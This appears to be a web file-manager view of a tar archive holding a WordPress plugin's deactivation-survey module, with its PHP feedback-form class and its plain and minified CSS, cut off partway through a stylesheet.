File manager - Edit - /home/aresglob/public_html/wp/wp-includes/images/smilies/modules.tar
Back
deactivation-survey/classes/class-deactivation-survey-feedback.php 0000644 00000026154 15104424105 0021555 0 ustar 00 <?php /** * Deactivation Survey Feedback. * * @package bsf-analytics */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Deactivation_Survey_Feedback' ) ) { /** * Class Deactivation_Survey_Feedback. */ class Deactivation_Survey_Feedback { /** * Feedback URL. * * @var string */ private static $feedback_api_endpoint = 'api/plugin-deactivate'; /** * Instance * * @access private * @var object Class object. * @since 1.1.6 */ private static $instance; /** * Initiator * * @since 1.1.6 * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_action( 'admin_enqueue_scripts', array( $this, 'load_form_styles' ) ); add_action( 'wp_ajax_uds_plugin_deactivate_feedback', array( $this, 'send_plugin_deactivate_feedback' ) ); } /** * Render feedback HTML on plugins.php admin page only. * * This function renders the feedback form HTML on the plugins.php admin page. * It takes an optional string parameter $id for the form wrapper ID and an optional array parameter $args for customizing the form. * * @since 1.1.6 * @param array $args Optional. Custom arguments for the form. Defaults to an empty array. * @return void */ public static function show_feedback_form( array $args = array() ) { // Return if not in admin. if ( ! is_admin() ) { return; } // Set default arguments for the feedback form. $defaults = array( 'source' => 'User Deactivation Survey', 'popup_logo' => '', 'plugin_slug' => 'user-deactivation-survey', 'plugin_version' => '', 'popup_title' => __( 'Quick Feedback', 'astra-sites' ), 'support_url' => 'https://brainstormforce.com/contact/', 'popup_reasons' => self::get_default_reasons(), 'popup_description' => __( 'If you have a moment, please share why you are deactivating the plugin.', 'astra-sites' ), 'show_on_screens' => array( 'plugins' ), ); // Parse the arguments with defaults. $args = wp_parse_args( $args, $defaults ); $id = ''; // Set a default ID if none is provided. if ( empty( $args['id'] ) ) { $id = 'uds-feedback-form--wrapper'; } $id = sanitize_text_field( $args['id'] ); // Return if not on the allowed screen. if ( ! BSF_Analytics_Helper::is_allowed_screen() ) { return; } // Product slug used for input fields and labels in each plugin's deactivation survey. $product_slug = isset( $args['plugin_slug'] ) ? sanitize_text_field( $args['plugin_slug'] ) : 'bsf'; ?> <div id="<?php echo esc_attr( $id ); ?>" class="uds-feedback-form--wrapper" style="display: none"> <div class="uds-feedback-form--container"> <div class="uds-form-header--wrapper"> <div class="uds-form-title--icon-wrapper"> <?php if ( ! empty( $args['popup_logo'] ) ) { ?> <img class="uds-icon" src="<?php echo esc_url( $args['popup_logo'] ); ?>" title="<?php echo esc_attr( $args['plugin_slug'] ); ?> <?php echo esc_attr( __( 'Icon', 'astra-sites' ) ); ?>" /> <?php } ?> <h2 class="uds-title"><?php echo esc_html( $args['popup_title'] ); ?></h2> </div> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="uds-close"> <path stroke-linecap="round" stroke-linejoin="round" d="M6 18 18 6M6 6l12 12" /> </svg> </div> <div class="uds-form-body--content"> <?php if ( ! empty( $args['popup_description'] ) ) { ?> <p class="uds-form-description"><?php echo esc_html( $args['popup_description'] ); ?></p> <?php } ?> <form class="uds-feedback-form" id="uds-feedback-form" method="post"> <?php foreach ( $args['popup_reasons'] as $key => $value ) { $input_id = $product_slug . '_uds_reason_input_' . $key; ?> <fieldset> <div class="reason"> <input type="radio" class="uds-reason-input" name="uds_reason_input" id="<?php echo esc_attr( $input_id ); ?>" value="<?php echo esc_attr( $key ); ?>" data-placeholder="<?php echo esc_attr( $value['placeholder'] ); ?>" data-show_cta="<?php echo esc_attr( $value['show_cta'] ); ?>" data-accept_feedback="<?php echo esc_attr( $value['accept_feedback'] ); ?>"> <label class="uds-reason-label" for="<?php echo esc_attr( $input_id ); ?>"><?php echo esc_html( $value['label'] ); ?></label> </div> </fieldset> <?php } ?> <fieldset> <textarea class="uds-options-feedback hide" id="uds-options-feedback" rows="3" name="uds_options_feedback" placeholder="<?php echo esc_attr( __( 'Please tell us more details.', 'astra-sites' ) ); ?>"></textarea> <?php if ( ! empty( $args['support_url'] ) ) { ?> <p class="uds-option-feedback-cta hide"> <?php echo wp_kses_post( sprintf( /* translators: %1$s: link html start, %2$s: link html end*/ __( 'Need help from our experts? %1$sClick here to contact us.%2$s', 'astra-sites' ), '<a href="' . esc_url( $args['support_url'] ) . '" target="_blank">', '</a>' ) ); ?> </p> <?php } ?> </fieldset> <div class="uds-feedback-form-sumbit--actions"> <button class="button button-primary uds-feedback-submit" data-action="submit"><?php esc_html_e( 'Submit & Deactivate', 'astra-sites' ); ?></button> <button class="button button-secondary uds-feedback-skip" data-action="skip"><?php esc_html_e( 'Skip & Deactivate', 'astra-sites' ); ?></button> <input type="hidden" name="referer" value="<?php echo esc_url( get_site_url() ); ?>"> <input type="hidden" name="version" value="<?php echo esc_attr( $args['plugin_version'] ); ?>"> <input type="hidden" name="source" value="<?php echo esc_attr( $args['plugin_slug'] ); ?>"> </div> </form> </div> </div> </div> <?php } /** * Load form styles. * * This function loads the necessary styles for the feedback form. * * @since 1.1.6 * @return void */ public static function load_form_styles() { if ( ! BSF_Analytics_Helper::is_allowed_screen() ) { return; } $dir_path = BSF_ANALYTICS_URI . '/modules/deactivation-survey/'; $file_ext = ! SCRIPT_DEBUG ? '.min' : ''; wp_enqueue_script( 'uds-feedback-script', $dir_path . 'assets/js/feedback' . $file_ext . '.js', array( 'jquery' ), BSF_ANALYTICS_VERSION, true ); $data = apply_filters( 'uds_survey_vars', array( 'ajaxurl' => esc_url( admin_url( 'admin-ajax.php' ) ), '_ajax_nonce' => wp_create_nonce( 'uds_plugin_deactivate_feedback' ), '_current_theme' => function_exists( 'wp_get_theme' ) ? wp_get_theme()->get_template() : '', '_plugin_slug' => array(), ) ); // Add localize JS. wp_localize_script( 'uds-feedback-script', 'udsVars', $data ); wp_enqueue_style( 'uds-feedback-style', $dir_path . 'assets/css/feedback' . $file_ext . '.css', array(), BSF_ANALYTICS_VERSION ); wp_style_add_data( 'uds-feedback-style', 'rtl', 'replace' ); } /** * Sends plugin deactivation feedback to the server. * * This function checks the user's permission and verifies the nonce for the request. * If the checks pass, it sends the feedback data to the server for processing. * * @return void */ public function send_plugin_deactivate_feedback() { $response_data = array( 'message' => __( 'Sorry, you are not allowed to do this operation.', 'astra-sites' ) ); /** * Check permission */ if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( $response_data ); } /** * Nonce verification */ if ( ! check_ajax_referer( 'uds_plugin_deactivate_feedback', 'security', false ) ) { $response_data = array( 'message' => __( 'Nonce validation failed', 'astra-sites' ) ); wp_send_json_error( $response_data ); } $feedback_data = array( 'reason' => isset( $_POST['reason'] ) ? sanitize_text_field( wp_unslash( $_POST['reason'] ) ) : '', 'feedback' => isset( $_POST['feedback'] ) ? sanitize_text_field( wp_unslash( $_POST['feedback'] ) ) : '', 'domain_name' => isset( $_POST['referer'] ) ? sanitize_text_field( wp_unslash( $_POST['referer'] ) ) : '', 'version' => isset( $_POST['version'] ) ? sanitize_text_field( wp_unslash( $_POST['version'] ) ) : '', 'plugin' => isset( $_POST['source'] ) ? sanitize_text_field( wp_unslash( $_POST['source'] ) ) : '', ); $api_args = array( 'body' => wp_json_encode( $feedback_data ), 'headers' => BSF_Analytics_Helper::get_api_headers(), 'timeout' => 90, //phpcs:ignore WordPressVIPMinimum.Performance.RemoteRequestTimeout.timeout_timeout ); $target_url = BSF_Analytics_Helper::get_api_url() . self::$feedback_api_endpoint; $response = wp_safe_remote_post( $target_url, $api_args ); $has_errors = BSF_Analytics_Helper::is_api_error( $response ); if ( $has_errors['error'] ) { wp_send_json_error( array( 'success' => false, 'message' => $has_errors['error_message'], ) ); } wp_send_json_success(); } /** * Get the array of default reasons. * * @return array Default reasons. */ public static function get_default_reasons() { return apply_filters( 'uds_default_deactivation_reasons', array( 'temporary_deactivation' => array( 'label' => esc_html__( 'This is a temporary deactivation for testing.', 'astra-sites' ), 'placeholder' => esc_html__( 'How can we assist you?', 'astra-sites' ), 'show_cta' => 'false', 'accept_feedback' => 'false', ), 'plugin_not_working' => array( 'label' => esc_html__( 'The plugin isn\'t working properly.', 'astra-sites' ), 'placeholder' => esc_html__( 'Please tell us more about what went wrong?', 'astra-sites' ), 'show_cta' => 'true', 'accept_feedback' => 'true', ), 'found_better_plugin' => array( 'label' => esc_html__( 'I found a better alternative plugin.', 'astra-sites' ), 'placeholder' => esc_html__( 'Could you please specify which plugin?', 'astra-sites' ), 'show_cta' => 'false', 'accept_feedback' => 'true', ), 'missing_a_feature' => array( 'label' => esc_html__( 'It\'s missing a specific feature.', 'astra-sites' ), 'placeholder' => esc_html__( 'Please tell us more about the feature.', 'astra-sites' ), 'show_cta' => 'false', 'accept_feedback' => 'true', ), 'other' => array( 'label' => esc_html__( 'Other', 'astra-sites' ), 'placeholder' => esc_html__( 'Please tell us more details.', 'astra-sites' ), 'show_cta' => 'false', 'accept_feedback' => 'true', ), ) ); } } Deactivation_Survey_Feedback::get_instance(); } deactivation-survey/assets/css/feedback.css 0000644 00000013111 15104424105 0015072 0 ustar 00 /* Base CSS to normalize the default. */ .uds-feedback-form--wrapper h2, .uds-feedback-form--wrapper p, .uds-feedback-form--wrapper input[type="radio"] { margin: 0; padding: 0; } .uds-feedback-form--wrapper .show { display: block; } .uds-feedback-form--wrapper .hide { display: none; } .uds-feedback-form--wrapper { align-items: center; background-color: rgba( 0, 0, 0, 0.75 ); bottom: 0; display: none; justify-content: center; left: 0; position: fixed; right: 0; top: 0; user-select: none; z-index: -9999; } .uds-feedback-form--wrapper.show_popup { display: flex !important; z-index: 99999; } .uds-feedback-form--wrapper .uds-feedback-form--container { background-color: #fff; border-radius: 8px; box-shadow: 4px 4px 24px rgba( 0, 0, 0, 0.25 ); max-width: 90%; width: 540px; } .uds-feedback-form--container .uds-form-header--wrapper { align-items: center; display: flex; justify-content: space-between; padding: 16px 20px 0; } .uds-feedback-form--container .uds-form-title--icon-wrapper { display: flex; align-items: center; gap: 12px; } .uds-feedback-form--container .uds-form-title--icon-wrapper .uds-icon, .uds-feedback-form--container .uds-form-header--wrapper .uds-close { width: 20px; height: 20px; } .uds-feedback-form--container .uds-form-title--icon-wrapper .uds-title { color: #1f2937; font-size: 16px; font-weight: 600; line-height: 24px; text-align: left; } .uds-feedback-form--container .uds-form-header--wrapper .uds-close { color: #9ca3af; cursor: pointer; } .uds-feedback-form--container .uds-form-header--wrapper .uds-close:hover { color: #4b5563; } .uds-feedback-form--container .uds-form-body--content { padding: 20px 20px 0 20px; display: flex; flex-direction: column; gap: 20px; } .uds-feedback-form--container .uds-form-body--content .uds-form-description { color: #1f2937; font-size: 16px; font-weight: 500; line-height: 24px; text-align: left; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .reason { display: flex; align-items: center; gap: 12px; margin-bottom: 12px; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback { color: #6b7280; font-size: 14px; font-weight: 400; line-height: 20px; text-align: left; width: 100%; padding: 9px 13px; border-radius: 6px; border-width: 1px; border-style: solid; border-color: #e5e7eb; box-shadow: 0 1px 2px 0 #0000000d; background: #fff; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:hover, .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:focus, .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:active { border-color: #d1d5db; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta { color: #4b5563; margin-top: 10px; font-size: 13px; font-weight: 400; line-height: 20px; text-align: left; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta a { text-decoration: none; color: #006ba1; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback::placeholder { font-size: 14px; font-weight: 400; line-height: 20px; text-align: left; color: #6b7280; opacity: 1; } .uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions { display: flex; align-items: center; justify-content: space-between; padding: 16px 20px; background-color: #f6f7f7; border-top: 1px solid #e1e1e1; margin: 40px -20px 0; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; } .uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button { padding: 7px 13px; border-radius: 3px; border-width: 1px; font-size: 14px; font-weight: 400; line-height: 20px; text-align: left; border-style: solid; display: flex; gap: 8px; align-items: center; } .uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button:focus { outline: none; box-shadow: none; } .uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing { pointer-events: none; opacity: 0.8; } .uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing::before { content: "\f463"; animation: spin 2s linear infinite; font-family: dashicons, sans-serif; font-weight: 400; font-size: 18px; cursor: pointer; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-reason-label { font-size: 14px; font-weight: 400; line-height: 20px; text-align: left; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type="radio"] { display: flex; justify-content: center; height: 18px; width: 18px; cursor: pointer; margin: 0; border: 1px solid #d1d5db; border-radius: 50%; line-height: 0; box-shadow: inset 0 1px 2px rgb( 0 0 0 / 10% ); transition: 0.05s border-color ease-in-out; -webkit-appearance: none; padding: 0; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type="radio"]:checked { vertical-align: middle; background-color: #006ba1; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type="radio"]:checked::before { background-color: #fff !important; border-radius: 50px; content: "\2022"; font-size: 24px; height: 6px; line-height: 13px; margin: 5px; text-indent: -9999px; width: 6px; } @keyframes spin { 0% { transform: rotate( 0deg ); } 100% { transform: rotate( 360deg ); } } deactivation-survey/assets/css/feedback-rtl.min.css 0000644 00000023571 15104424105 0016466 0 ustar 00 .uds-feedback-form--wrapper h2,.uds-feedback-form--wrapper input[type=radio],.uds-feedback-form--wrapper p{margin:0;padding:0}.uds-feedback-form--wrapper .show{display:block}.uds-feedback-form--wrapper .hide{display:none}.uds-feedback-form--wrapper{align-items:center;background-color:rgba(0,0,0,.75);bottom:0;display:none;justify-content:center;right:0;position:fixed;left:0;top:0;user-select:none;z-index:-9999}.uds-feedback-form--wrapper.show_popup{display:flex!important;z-index:99999}.uds-feedback-form--wrapper .uds-feedback-form--container{background-color:#fff;border-radius:8px;box-shadow:-4px 4px 24px rgba(0,0,0,.25);max-width:90%;width:540px}.uds-feedback-form--container .uds-form-header--wrapper{align-items:center;display:flex;justify-content:space-between;padding:16px 20px 0}.uds-feedback-form--container .uds-form-title--icon-wrapper{display:flex;align-items:center;gap:12px}.uds-feedback-form--container .uds-form-header--wrapper .uds-close,.uds-feedback-form--container .uds-form-title--icon-wrapper .uds-icon{width:20px;height:20px}.uds-feedback-form--container .uds-form-title--icon-wrapper .uds-title{color:#1f2937;font-size:16px;font-weight:600;line-height:24px;text-align:right}.uds-feedback-form--container .uds-form-header--wrapper .uds-close{color:#9ca3af;cursor:pointer}.uds-feedback-form--container .uds-form-header--wrapper .uds-close:hover{color:#4b5563}.uds-feedback-form--container .uds-form-body--content{padding:20px 20px 0 20px;display:flex;flex-direction:column;gap:20px}.uds-feedback-form--container .uds-form-body--content .uds-form-description{color:#1f2937;font-size:16px;font-weight:500;line-height:24px;text-align:right}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .reason{display:flex;align-items:center;gap:12px;margin-bottom:12px}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback{color:#6b7280;font-size:14px;font-weight:400;line-height:20px;text-align:right;width:100%;padding:9px 13px;border-radius:6px;border-width:1px;border-style:solid;border-color:#e5e7eb;box-shadow:0 1px 2px 0 #0000000d;background:#fff}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:active,.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:focus,.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:hover{border-color:#d1d5db}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta{color:#4b5563;margin-top:10px;font-size:13px;font-weight:400;line-height:20px;text-align:right}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta a{text-decoration:none;color:#006ba1}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback::placeholder{font-size:14px;font-weight:400;line-height:20px;text-align:right;color:#6b7280;opacity:1}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions{display:flex;align-items:center;justify-content:space-between;padding:16px 20px;background-color:#f6f7f7;border-top:1px solid #e1e1e1;margin:40px -20px 0;border-bottom-right-radius:8px;border-bottom-left-radius:8px}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button{padding:7px 13px;border-radius:3px;border-width:1px;font-size:14px;font-weight:400;line-height:20px;text-align:right;border-style:solid;display:flex;gap:8px;align-items:center}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button:focus{outline:0;box-shadow:none}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing{pointer-events:none;opacity:.8}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing::before{content:"\f463";animation:spin 2s linear infinite;font-family:dashicons,sans-serif;font-weight:400;font-size:18px;cursor:pointer}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-reason-label{font-size:14px;font-weight:400;line-height:20px;text-align:right}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]{display:flex;justify-content:center;height:18px;width:18px;cursor:pointer;margin:0;border:1px solid #d1d5db;border-radius:50%;line-height:0;box-shadow:inset 0 1px 2px rgb(0 0 0 / 10%);transition:50ms border-color ease-in-out;-webkit-appearance:none;padding:0}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]:checked{vertical-align:middle;background-color:#006ba1}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]:checked::before{background-color:#fff!important;border-radius:50px;content:"\2022";font-size:24px;height:6px;line-height:13px;margin:5px;text-indent:-9999px;width:6px}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(-360deg)}},.uds-feedback-form--wrapper h2,.uds-feedback-form--wrapper input[type=radio],.uds-feedback-form--wrapper p{margin:0;padding:0}.uds-feedback-form--wrapper .show{display:block}.uds-feedback-form--wrapper .hide{display:none}.uds-feedback-form--wrapper{align-items:center;background-color:rgba(0,0,0,.75);bottom:0;display:none;justify-content:center;right:0;position:fixed;left:0;top:0;user-select:none;z-index:-9999}.uds-feedback-form--wrapper.show_popup{display:flex!important;z-index:99999}.uds-feedback-form--wrapper .uds-feedback-form--container{background-color:#fff;border-radius:8px;box-shadow:-4px 4px 24px rgba(0,0,0,.25);max-width:90%;width:540px}.uds-feedback-form--container .uds-form-header--wrapper{align-items:center;display:flex;justify-content:space-between;padding:16px 20px 0}.uds-feedback-form--container .uds-form-title--icon-wrapper{display:flex;align-items:center;gap:12px}.uds-feedback-form--container .uds-form-header--wrapper .uds-close,.uds-feedback-form--container .uds-form-title--icon-wrapper .uds-icon{width:20px;height:20px}.uds-feedback-form--container .uds-form-title--icon-wrapper .uds-title{color:#1f2937;font-size:16px;font-weight:600;line-height:24px;text-align:right}.uds-feedback-form--container .uds-form-header--wrapper .uds-close{color:#9ca3af;cursor:pointer}.uds-feedback-form--container .uds-form-header--wrapper .uds-close:hover{color:#4b5563}.uds-feedback-form--container .uds-form-body--content{padding:20px 20px 0 20px;display:flex;flex-direction:column;gap:20px}.uds-feedback-form--container .uds-form-body--content .uds-form-description{color:#1f2937;font-size:16px;font-weight:500;line-height:24px;text-align:right}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .reason{display:flex;align-items:center;gap:12px;margin-bottom:12px}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback{color:#6b7280;font-size:14px;font-weight:400;line-height:20px;text-align:right;width:100%;padding:9px 13px;border-radius:6px;border-width:1px;border-style:solid;border-color:#e5e7eb;box-shadow:0 1px 2px 0 #0000000d;background:#fff}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:active,.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:focus,.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:hover{border-color:#d1d5db}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta{color:#4b5563;margin-top:10px;font-size:13px;font-weight:400;line-height:20px;text-align:right}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta a{text-decoration:none;color:#006ba1}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback::placeholder{font-size:14px;font-weight:400;line-height:20px;text-align:right;color:#6b7280;opacity:1}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions{display:flex;align-items:center;justify-content:space-between;padding:16px 20px;background-color:#f6f7f7;border-top:1px solid #e1e1e1;margin:40px -20px 0;border-bottom-right-radius:8px;border-bottom-left-radius:8px}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button{padding:7px 13px;border-radius:3px;border-width:1px;font-size:14px;font-weight:400;line-height:20px;text-align:right;border-style:solid;display:flex;gap:8px;align-items:center}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button:focus{outline:0;box-shadow:none}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing{pointer-events:none;opacity:.8}.uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing::before{content:"\f463";animation:spin 2s linear infinite;font-family:dashicons,sans-serif;font-weight:400;font-size:18px;cursor:pointer}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-reason-label{font-size:14px;font-weight:400;line-height:20px;text-align:right}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]{display:flex;justify-content:center;height:18px;width:18px;cursor:pointer;margin:0;border:1px solid #d1d5db;border-radius:50%;line-height:0;box-shadow:inset 0 1px 2px rgb(0 0 0 / 10%);transition:50ms border-color ease-in-out;-webkit-appearance:none;padding:0}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]:checked{vertical-align:middle;background-color:#006ba1}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type=radio]:checked::before{background-color:#fff!important;border-radius:50px;content:"\2022";font-size:24px;height:6px;line-height:13px;margin:5px;text-indent:-9999px;width:6px}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(-360deg)}} deactivation-survey/assets/css/feedback-rtl.css 0000644 00000025017 15104424105 0015701 0 ustar 00 /* Base CSS to normalize the default. */ .uds-feedback-form--wrapper h2, .uds-feedback-form--wrapper p, .uds-feedback-form--wrapper input[type="radio"] { margin: 0; padding: 0; } .uds-feedback-form--wrapper .show { display: block; } .uds-feedback-form--wrapper .hide { display: none; } .uds-feedback-form--wrapper { align-items: center; background-color: rgba( 0, 0, 0, 0.75 ); bottom: 0; display: none; justify-content: center; right: 0; position: fixed; left: 0; top: 0; user-select: none; z-index: -9999; } .uds-feedback-form--wrapper.show_popup { display: flex !important; z-index: 99999; } .uds-feedback-form--wrapper .uds-feedback-form--container { background-color: #fff; border-radius: 8px; box-shadow: -4px 4px 24px rgba( 0, 0, 0, 0.25 ); max-width: 90%; width: 540px; } .uds-feedback-form--container .uds-form-header--wrapper { align-items: center; display: flex; justify-content: space-between; padding: 16px 20px 0; } .uds-feedback-form--container .uds-form-title--icon-wrapper { display: flex; align-items: center; gap: 12px; } .uds-feedback-form--container .uds-form-title--icon-wrapper .uds-icon, .uds-feedback-form--container .uds-form-header--wrapper .uds-close { width: 20px; height: 20px; } .uds-feedback-form--container .uds-form-title--icon-wrapper .uds-title { color: #1f2937; font-size: 16px; font-weight: 600; line-height: 24px; text-align: right; } .uds-feedback-form--container .uds-form-header--wrapper .uds-close { color: #9ca3af; cursor: pointer; } .uds-feedback-form--container .uds-form-header--wrapper .uds-close:hover { color: #4b5563; } .uds-feedback-form--container .uds-form-body--content { padding: 20px 20px 0 20px; display: flex; flex-direction: column; gap: 20px; } .uds-feedback-form--container .uds-form-body--content .uds-form-description { color: #1f2937; font-size: 16px; font-weight: 500; line-height: 24px; text-align: right; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .reason { display: flex; align-items: center; gap: 12px; margin-bottom: 12px; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback { color: #6b7280; font-size: 14px; font-weight: 400; line-height: 20px; text-align: right; width: 100%; padding: 9px 13px; border-radius: 6px; border-width: 1px; border-style: solid; border-color: #e5e7eb; box-shadow: 0 1px 2px 0 #0000000d; background: #fff; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:hover, .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:focus, .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:active { border-color: #d1d5db; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta { color: #4b5563; margin-top: 10px; font-size: 13px; font-weight: 400; line-height: 20px; text-align: right; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-option-feedback-cta a { text-decoration: none; color: #006ba1; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback::placeholder { font-size: 14px; font-weight: 400; line-height: 20px; text-align: right; color: #6b7280; opacity: 1; } .uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions { display: flex; align-items: center; justify-content: space-between; padding: 16px 20px; background-color: #f6f7f7; border-top: 1px solid #e1e1e1; margin: 40px -20px 0; border-bottom-right-radius: 8px; border-bottom-left-radius: 8px; } .uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button { padding: 7px 13px; border-radius: 3px; border-width: 1px; font-size: 14px; font-weight: 400; line-height: 20px; text-align: right; border-style: solid; display: flex; gap: 8px; align-items: center; } .uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button:focus { outline: none; box-shadow: none; } .uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing { pointer-events: none; opacity: 0.8; } .uds-feedback-form--container .uds-form-body--content .uds-feedback-form-sumbit--actions .button.processing::before { content: "\f463"; animation: spin 2s linear infinite; font-family: dashicons, sans-serif; font-weight: 400; font-size: 18px; cursor: pointer; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-reason-label { font-size: 14px; font-weight: 400; line-height: 20px; text-align: right; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type="radio"] { display: flex; justify-content: center; height: 18px; width: 18px; cursor: pointer; margin: 0; border: 1px solid #d1d5db; border-radius: 50%; line-height: 0; box-shadow: inset 0 1px 2px rgb( 0 0 0 / 10% ); transition: 0.05s border-color ease-in-out; -webkit-appearance: none; padding: 0; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type="radio"]:checked { vertical-align: middle; background-color: #006ba1; } .uds-feedback-form--container .uds-form-body--content #uds-feedback-form input[type="radio"]:checked::before { background-color: #fff !important; border-radius: 50px; content: "\2022"; font-size: 24px; height: 6px; line-height: 13px; margin: 5px; text-indent: -9999px; width: 6px; } @keyframes spin { 0% { transform: rotate( 0deg ); } 100% { transform: rotate( -360deg ); } } ,.uds-feedback-form--wrapper h2,.uds-feedback-form--wrapper input[type=radio],.uds-feedback-form--wrapper p{margin:0;padding:0}.uds-feedback-form--wrapper .show{display:block}.uds-feedback-form--wrapper .hide{display:none}.uds-feedback-form--wrapper{align-items:center;background-color:rgba(0,0,0,.75);bottom:0;display:none;justify-content:center;right:0;position:fixed;left:0;top:0;user-select:none;z-index:-9999}.uds-feedback-form--wrapper.show_popup{display:flex!important;z-index:99999}.uds-feedback-form--wrapper .uds-feedback-form--container{background-color:#fff;border-radius:8px;box-shadow:-4px 4px 24px rgba(0,0,0,.25);max-width:90%;width:540px}.uds-feedback-form--container .uds-form-header--wrapper{align-items:center;display:flex;justify-content:space-between;padding:16px 20px 0}.uds-feedback-form--container .uds-form-title--icon-wrapper{display:flex;align-items:center;gap:12px}.uds-feedback-form--container .uds-form-header--wrapper .uds-close,.uds-feedback-form--container .uds-form-title--icon-wrapper .uds-icon{width:20px;height:20px}.uds-feedback-form--container .uds-form-title--icon-wrapper .uds-title{color:#1f2937;font-size:16px;font-weight:600;line-height:24px;text-align:right}.uds-feedback-form--container .uds-form-header--wrapper .uds-close{color:#9ca3af;cursor:pointer}.uds-feedback-form--container .uds-form-header--wrapper .uds-close:hover{color:#4b5563}.uds-feedback-form--container .uds-form-body--content{padding:20px 20px 0 20px;display:flex;flex-direction:column;gap:20px}.uds-feedback-form--container .uds-form-body--content .uds-form-description{color:#1f2937;font-size:16px;font-weight:500;line-height:24px;text-align:right}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .reason{display:flex;align-items:center;gap:12px;margin-bottom:12px}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback{color:#6b7280;font-size:14px;font-weight:400;line-height:20px;text-align:right;width:100%;padding:9px 13px;border-radius:6px;border-width:1px;border-style:solid;border-color:#e5e7eb;box-shadow:0 1px 2px 0 #0000000d;background:#fff}.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:active,.uds-feedback-form--container .uds-form-body--content #uds-feedback-form .uds-options-feedback:focus,.uds-feedback-form--container .uds-form-body--content #uds-feedback-form 